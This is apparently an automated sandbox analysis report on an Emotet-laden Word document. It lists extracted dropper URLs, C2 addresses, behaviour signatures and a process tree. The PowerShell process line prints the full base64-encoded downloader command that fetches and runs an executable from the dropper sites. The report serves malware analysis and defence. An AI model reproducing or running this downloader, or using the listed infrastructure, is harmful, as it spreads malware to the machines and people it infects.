Analysis

  • max time kernel
    136s
  • max time network
    138s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    14/09/2020, 21:45

General

  • Target
    DOC_X8S29B8PS.doc
  • Size 152KB
  • Sample200914-ph754ecwds
  • SHA256 748caa55e06d1e01f47889e18b8f06c274156547dcefd8418c472179a93ceb13
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://castlestudios.com/images/Z/

  • exe.dropper

    http://khoweb.xyz/wp-includes/OaozkN/

  • exe.dropper

    http://amarettobh.com.br/sys-cache/eXhf8Nc/

  • exe.dropper

    http://caorauducvan.vn/wp-admin/PCsGWi/

  • exe.dropper

    http://sehitgazihaberleri.com/wordpress/W5e1D/

  • exe.dropper

    http://oggisivola.it/5doedb3/3Nk/

  • exe.dropper

    https://hauizone.com/c4ccx/sD/

Extracted

Family
  • emotet

C2
  • 104.32.141.43:80

  • 104.156.59.7:8080

  • 120.138.30.150:8080

  • 139.59.67.118:443

  • 61.92.17.12:80

  • 103.86.49.11:8080

  • 174.45.13.118:80

  • 75.139.38.211:80

  • 104.131.11.150:443

  • 121.124.124.40:7080

  • 200.114.213.233:8080

  • 185.94.252.104:443

  • 181.169.34.190:80

  • 187.161.206.24:80

  • 93.147.212.206:80

  • 176.111.60.55:8080

  • 83.169.36.251:8080

  • 174.102.48.180:443

  • 24.179.13.119:80

  • 120.150.60.189:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DOC_X8S29B8PS.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3704
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABPAHUAZgBhAG0ANwBnAD0AKAAoACcAQQAyAHgAJwArACcAMgAnACkAKwAoACcAbgAnACsAJwByAHcAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAtAGkAdABlAG0AJwApACAAJABFAG4AVgA6AFUAcwBlAFIAUAByAE8AZgBpAEwARQBcAFQAZgA2AFAAcgA1ADEAXABlAHAARwBOADcASgBNAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQByAEUAQwB0AG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBjAFUAUgBpAFQAeQBgAHAAcgBgAE8AdABPAEMATwBsACIAIAA9ACAAKAAnAHQAbAAnACsAKAAnAHMAJwArACcAMQAyACcAKQArACcALAAnACsAKAAnACAAJwArACcAdABsAHMAJwApACsAJwAxACcAKwAoACcAMQAnACsAJwAsACAAJwArACcAdABsAHMAJwApACkAOwAkAFkAcABwAGkAcwBmAHUAIAA9ACAAKAAnAEgAdgAnACsAJwBwAGQAJwArACgAJwBmADIANAA0ACcAKwAnAF8AJwApACkAOwAkAEcAcgBiAHUAdQB6AGQAPQAoACcAUgAnACsAKAAnADAAJwArACcAYQB1ACcAKwAnAGYANwBfACcAKQApADsAJABRADEANgBxADcAaAA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAFMASwAnACsAKAAnAHQAVABmADYAJwArACcAcAByADUAMQBTAEsAJwArACcAdAAnACkAKwAnAEUAJwArACgAJwBwAGcAJwArACcAbgA3ACcAKQArACcAagAnACsAJwBtACcAKwAoACcAUwBLACcAKwAnAHQAJwApACkAIAAtAEMAUgBFAHAAbABBAEMARQAoAFsAYwBIAEEAUgBdADgAMwArAFsAYwBIAEEAUgBdADcANQArAFsAYwBIAEEAUgBdADEAMQA2ACkALABbAGMASABBAFIAXQA5ADIAKQArACQAWQBwAHAAaQBzAGYAdQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQASwAxAGcAXwA4ADEANAA9ACgAKAAnAEMAJwArACcAbAA2ACcAKQArACgAJwBpAHEAJwArACcANQAnACkAKwAnADIAJwApADsAJABQADEANQAzADIAaABsAD0AJgAoACcAbgBlACcAKwAnAHcAJwArACcALQBvAGIAagBlAGMAdAAnACkAIABuAEUAdAAuAHcAZQBiAEMATABpAGUATgBUADsAJABaADgAaAB2AGYAMwB6AD0AKAAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8AJwArACcALwBjAGEAJwApACsAKAAnAHMAJwArACcAdABsAGUAcwAnACkAKwAnAHQAJwArACgAJwB1ACcAKwAnAGQAaQAnACkAKwAoACcAbwBzACcAKwAnAC4AYwAnACkAKwAoACcAbwBtAC8AJwArACcAaQAnACkAKwAoACcAbQAnACsAJwBhAGcAZQBzAC8AJwArACcAWgAnACkAKwAoACcALwAqAGgAdAAnACsAJwB0AHAAJwApACsAKAAnADoAJwArACcALwAvAGsAaABvACcAKwAnAHcAZQBiACcAKwAnAC4AeAB5ACcAKQArACcAegAnACsAJwAvACcAKwAoACcAdwBwAC0AaQAnACsAJwBuAGMAbAAnACkAKwAnAHUAZAAnACsAJwBlACcAKwAnAHMALwAnACsAKAAnAE8AJwArACcAYQBvACcAKQArACgAJwB6ACcAKwAnAGsATgAvACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AYQBtAGEAJwArACcAcgAnACkAKwAnAGUAJwArACcAdAB0ACcAKwAoACcAbwAnACsAJwBiAGgALgAnACsAJwBjAG8AbQAuACcAKQArACcAYgAnACsAJwByAC8AJwArACcAcwB5ACcAKwAnAHMALQAnACsAKAAnAGMAJwArACcAYQBjAGgAJwApACsAKAAnAGUAJwArACcALwBlAFgAJwApACsAKAAnAGgAZgAnACsAJwA4ACcAKQArACcATgAnACsAJwBjAC8AJwArACgAJwAqAGgAdAB0AHAAJwArACcAOgAnACkAKwAnAC8ALwAnACsAJwBjAGEAJwArACgAJwBvACcAKwAnAHIAYQB1ACcAKQArACgAJwBkACcAKwAnAHUAYwAnACkAKwAnAHYAYQAnACsAKAAnAG4AJwArACcALgB2ACcAKQArACgAJwBuACcAKwAnAC8AdwAnACkAKwAoACcAcAAtACcAKwAnAGEAJwApACsAKAAnAGQAJwArACcAbQBpAG4ALwAnACkAKwAoACcAUABDAHMARwAnACsAJwBXACcAKQArACcAaQAvACcAKwAoACcAKgBoAHQAdABwADoAJwArACcALwAnACsAJwAvACcAKwAnAHMAZQBoAGkAdABnACcAKQArACcAYQAnACsAKAAnAHoAaQAnACsAJwBoACcAKQArACgAJwBhACcAKwAnAGIAZQByAGwAZQAnACkAKwAoACcAcgAnACsAJwBpAC4AYwBvAG0ALwAnACkAKwAoACcAdwBvACcAKwAnAHIAZABwAHIAZQAnACsAJwBzAHMALwAnACkAKwAoACcAVwAnACsAJwA1AGUAJwArACcAMQBEACcAKwAnAC8AKgAnACsAJwBoAHQAdABwADoALwAnACkAKwAnAC8AJwArACcAbwAnACsAJwBnACcAKwAoACcAZwBpACcAKwAnAHMAJwApACsAJwBpACcAKwAoACcAdgBvACcAKwAnAGwAYQAnACkAKwAnAC4AJwArACgAJwBpAHQALwAnACsAJwA1AGQAJwArACcAbwBlAGQAYgAnACkAKwAnADMAJwArACcALwAnACsAJwAzACcAKwAoACcATgAnACsAJwBrAC8AKgBoAHQAdAAnACkAKwAnAHAAcwAnACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwBoAGEAdQAnACsAJwBpAHoAbwAnACkAKwAoACcAbgBlACcAKwAnAC4AYwBvAG0ALwBjADQAJwApACsAKAAnAGMAJwArACcAYwB4AC8AcwAnACsAJwBEAC8AJwApACkALgAiAFMAUABgAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQAzAHcAMQAxAHEAaAA9ACgAKAAnAFEAdQAnACsAJwA0ACcAKQArACcAeQAnACsAKAAnADcAMgAnACsAJwBxACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQQA2AGMAZgBqAGEAZgAgAGkAbgAgACQAWgA4AGgAdgBmADMAegApAHsAdAByAHkAewAkAFAAMQA1ADMAMgBoAGwALgAiAEQAYABvAFcAbgBsAE8AYQBkAGYAaQBgAEwAZQAiACgAJABBADYAYwBmAGoAYQBmACwAIAAkAFEAMQA2AHEANwBoADgAKQA7ACQARABjAG0AZAB4AGEAeQA9ACgAKAAnAFIAMwAnACsAJwBxAGkANgAnACkAKwAnADYAbgAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQAUQAxADYAcQA3AGgAOAApAC4AIgBMAEUATgBHAGAAVABoACIAIAAtAGcAZQAgADMANgA3ADcANAApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACgAJABRADEANgBxADcAaAA4ACkAOwAkAFIAdABvAGsAagBvADAAPQAoACcARgAnACsAKAAnAG0AJwArACcAbgA4AGYAJwApACsAJwBwAG4AJwApADsAYgByAGUAYQBrADsAJABJAGQAbwBzAHgAMQBfAD0AKAAnAEIAJwArACcAYgAnACsAKAAnADkAXwAwAGUAJwArACcANAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgBxAGgAaABiAGoANwA9ACgAKAAnAEoAdgBxAHoAJwArACcAawAnACkAKwAnAHgAdAAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1904
    • C:\Users\Admin\Tf6pr51\Epgn7jm\Hvpdf244_.exe
      "C:\Users\Admin\Tf6pr51\Epgn7jm\Hvpdf244_.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1768
      • C:\Windows\SysWOW64\cnvfat\Windows.Networking.NetworkOperators.HotspotAuthentication.exe
        "C:\Windows\SysWOW64\cnvfat\Windows.Networking.NetworkOperators.HotspotAuthentication.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2224

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1768-13-0x00000000005C0000-0x00000000005D0000-memory.dmp

        memory/1768-12-0x00000000005A0000-0x00000000005B2000-memory.dmp

        memory/1904-8-0x0000024FFC970000-0x0000024FFC971000-memory.dmp

        memory/1904-7-0x0000024FFC7C0000-0x0000024FFC7C1000-memory.dmp

        memory/1904-6-0x00007FFF524A0000-0x00007FFF52E8C000-memory.dmp

        memory/2224-16-0x00000000005C0000-0x00000000005D2000-memory.dmp

        memory/2224-17-0x00000000005F0000-0x0000000000600000-memory.dmp

        memory/3704-0-0x00007FFF59A10000-0x00007FFF5A0D6000-memory.dmp

        memory/3704-5-0x000001F6C4A37000-0x000001F6C4A3A000-memory.dmp

        memory/3704-4-0x000001F6C4877000-0x000001F6C487C000-memory.dmp

        memory/3704-3-0x000001F6C487C000-0x000001F6C4881000-memory.dmp

        memory/3704-2-0x000001F6C487C000-0x000001F6C4881000-memory.dmp

        memory/3704-1-0x000001F6C487C000-0x000001F6C4881000-memory.dmp